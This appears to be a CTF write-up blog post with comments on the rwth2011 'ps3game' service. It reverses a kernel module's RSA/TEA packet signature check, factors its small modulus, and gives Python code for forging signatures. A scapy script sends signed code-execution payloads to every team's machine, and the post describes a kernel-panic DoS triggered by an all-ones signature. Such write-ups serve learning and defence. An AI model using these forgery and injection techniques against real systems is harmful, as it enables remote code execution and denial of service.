rwth2011 CTF – ps3game

This service was on exploiting, understanding udp protocol and process of sign data.

ps3game files

Summary: reversing, crypto, rsa, tea hash, udp sign


First of all thanks hellman and kyprizel who help me to analyze this service.

There are two main binary files. First usermode executable file is ps3game which source code was available for team. This binary file can execute all code from incoming udp packet.  This is function which executes code:

void execute_gamepiece(char * gamepiece, size_t gamepiece_length)
{
	char * gamearea = mmap(0, g_page_size, PROT_READ |
                               PROT_WRITE | PROT_EXEC,
		               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	int res;
	if(gamearea == MAP_FAILED)
	{
		ERROR("Could not map payload region");
		return;
	}
 
	gamearea[0] = 0x90;
	memcpy(&gamearea[1], gamepiece, gamepiece_length);
	memset(&gamearea[gamepiece_length + 1],
                0xc3, g_page_size - gamepiece_length - 1);
 
	res = ((int (*)(void *, void *, void *)) gamearea)
                 (store_flag, retrieve_flag, send_response);
 
	munmap(gamearea, g_page_size);
}

But service would be so easy and boring if you could just execute all code which you need =)
For make service hard developers create second module – defense kernel module codeserv.ko (without source code). This module analyzes traffic on low level and passes only signed udp packet.
How does it work? Try to describe:

  • Driver hooks __udp4_lib_rcv function
init_module     proc
.text:0000000000000050        push    rbp
.text:0000000000000051        mov     rdx, cs:sym_udp_protocol
.text:0000000000000058        mov     rbp, rsp
.text:000000000000005B        test    rdx, rdx
.text:000000000000005E        jz      short loc_8F
.text:0000000000000060        cli
.text:0000000000000061        mov     rax, cr0
.text:0000000000000064        and     rax, 0FFFFFFFFFFFEFFFFh
.text:000000000000006A        mov     cr0, rax
.text:000000000000006D        mov     rax, [rdx]
.text:0000000000000070        mov     cs:udp_rcv_orig, rax
.text:0000000000000077        mov     qword ptr [rdx], offset udp_rcv
.text:000000000000007E        mov     rax, cr0
.text:0000000000000081        or      rax, 10000h
.text:0000000000000087        mov     cr0, rax
.text:000000000000008A        sti
.text:000000000000008B        xor     eax, eax
.text:000000000000008D        leave
.text:000000000000008E        retn
.text:000000000000008F
.text:000000000000008F loc_8F:
.text:000000000000008F        mov     rdi, offset a3CodeservNoAdd ;
.text:0000000000000096        xor     eax, eax
.text:0000000000000098        call    printk
.text:000000000000009D        mov     eax, 0FFFFFFF2h
.text:00000000000000A2        leave
.text:00000000000000A3        retn
.text:00000000000000A3 init_module     endp
  •   Driver analyzes input udp packet on port 9000 (ps3game listens to this port) . If packet is not “signed” it drops it.

Kernel module parses structure sk_buff, finds a sign and check it

skbuffs are the buffers in which the linux kernel handles network packets. The packet is received by the network card, put into a skbuff and then passed to the network stack, which uses the skbuff all the time.

There are some interesting fields and structures in sk_buff:

 struct udphdr {
         __be16  source;
         __be16  dest;
         __be16 len;        // it is size
                            // of payload of udp packet
         __sum16 check;
 };

struct sk_buff has two interesting for us field too. Threre are len and data_len.
If you google a little you will find that information:

  • If skb is linear (i.e., skb->data_len == 0), the length of skb->data is skb->len.
  • If skb is not linear (i.e., skb->data_len != 0), the length of skb->data is (skb->len) – (skb->data_len).

In our case skb is not linear and skb->data = (skb->len) – (skb->data_len)

And here the most interested place, in hooked_udp4_lib_rcv program checks condition:

If (((skb.len) - (skb.data_len)) == udphdr.len + 10h)
{
     If (codeserv_verify_rsa(
             skb.data,    // pointer to payload of udp packet
             udphdr.len,  // size of payload of udp packet
             (void*)(skb.data + udphdr.len)
                           // 0x10 bytes between end of payload
                           // and end of skb->data.
        ) != -1)
     {
           orig_udp4_lib_rcv()
     }
    else
    {
         // exit and drop packet
    }
}

 

There are 0x10 bytes which are encrypted by rsa hash of payload of udp packet.


It means that if we understand what hash used by rsa and how to sign packet we can create our udp packet and execute any code on victim system.

We reconstract  two crypto function:

  • hash_tea
  • sign rsa crypto function
__u64 hash_tea(const unsigned char *data,
	                     int len)
{
   uint32_t a, b, c, d;
   uint32_t b0, b1;
 
   b0 = *(uint32_t*)&data[8];
   b1 = *(uint32_t*)&data[8+4];
 
   for (int i = 8; i < len; i += 0x10)
   {
      uint32_t sum = 0;
 
      a = *(uint32_t*)&data[i];
      b = *(uint32_t*)&data[i+4];
      c = *(uint32_t*)&data[i+8];
      d = *(uint32_t*)&data[i+0xc];
      do
      {
	sum -= 0x61C88647;
	b0 += ((b1 << 5)+b);
	b1 += ((b0 << 5)+d);
      } while(sum != 0x0C6EF3720);
   }
   return b0|(b1<<0x20);
}

From function codeserv_verify_rsa we can get modulus (it is 908A8003CF08FB31h) and factorize it to get p and q

n = 908A8003CF08FB31h = 10415277842094422833

so Number 10415277842094422833 Factorization: 3003703709*3467478437

Now we can write sign function:

def rsa_sign(b0, b1):
   p = 3003703709
   q = 3467478437
   n = p * q
   fi = (p - 1) * (q - 1)
   e = 0x10001
   d = invmod(e, fi) % n
 
   sys.stdout.write(n2s(pow( b0, d, n ))[::-1])
   sys.stdout.write(n2s(pow( b1, d, n ))[::-1])

And last step was to create udp packet and exploit all team, because there isn’t defense against this attack!

from scapy.all import *
 
def pwn(oc, new_payload, new_sig):
    pkts = rdpcap('new_port.pcap')
    for pkt in pkts:
        if pkt.dport == 9000:
            smac = pkt.src
            dmac = pkt.dst
            pkt.src = dmac
            pkt.dst = smac
            pkt[IP].src='10.11.70.2'
            pkt[IP].dst='10.11.%d.2'%oc
            sig = str(pkt[Padding])
            payload = str(pkt[Raw])[:-16]
            pkt.show2()
            packet = str(pkt).replace(payload, new_payload)\
                         .replace(sig, new_sig)
            pkt = IP(packet)
            del pkt[IP].chksum
            del pkt[UDP].chksum
            pkt.show2()
            send(pkt)
 
if __name__ == '__main__':
    payload = open('payload','rb').read()
    sig = open('signature','rb').read()
    for x in xrange(2, 78):
        if x in [70,]:
            continue
        pwn(x, payload, sig)

At last we got shell at each vulnbox which has ps3game up.
But, while our team is focused on the classic CTF and attacked the other teams it turned out that to win this is absolutely not necessary. Challenges gave a maximum point, and for win you could just solve them and did nothing about rest CTF. I think there is a little disbalance in this kind of rule.
Anyway thanks 0ldEur0pe CTF team for interesting game!

P.S.

Also analyzing a driver module we found possibility to remote DoS attack. If you sand udp packet with sign hash in which all bits is set 1 it will be integer overflow in kernel module and system down with kernel panic.
After demonstration we sold this knowledge to orgs (because first time they didn’t believe us) and never used this attack again, although some of you might felt this demonstration to yourself. =)

7 comments

1 ping

Skip to comment form

    • Garwin on October 2, 2011 at 02:29
    • Reply

    Hi,

    gratz to your nice solution.

    I just want to remark that there is indeed the possibilty to provide some kind of fix against this attack type in the service.
    The basic idea was already prepared in the ps3game program and is based on the linux ptrace api. The program which executes the code which was sent over the network is run in ptrace mode such that it gets stopped on syscalls. Now the monitor process can check on the syscall and e.g. prevent exec syscalls by stopping the program on these calls. Or you could prevent all syscalls which do not origin from the three provided flag accessor functions …

    • fritz on October 2, 2011 at 03:07
    • Reply

    Congratulations on 3rd place! Can we expect more writeups? :)

  1. it would be good to hear more from that remote DoS 0day :D

  2. Hey guys, nice writeup :-)

    We also did a writeup on this challenge, it focuses less on the network packets and more on the crypto so I think it’s a nice addition:

    http://eb.haxx.in/?p=148

    Greetings,
    Reinhart (team Eindbazen)

    1. Thanks for link! Interesting writeup too =)

  3. Nice write-up, congratulations on the DoS! It was unintentional. How did you find it?

  4. We just luckily put ffffffffffff in signature, and unluckily tested it on our box xD
    We saw it down, and that is

  1. […] rwth2011 CTF (ps3game): writeup […]

Leave a Reply

Your email address will not be published.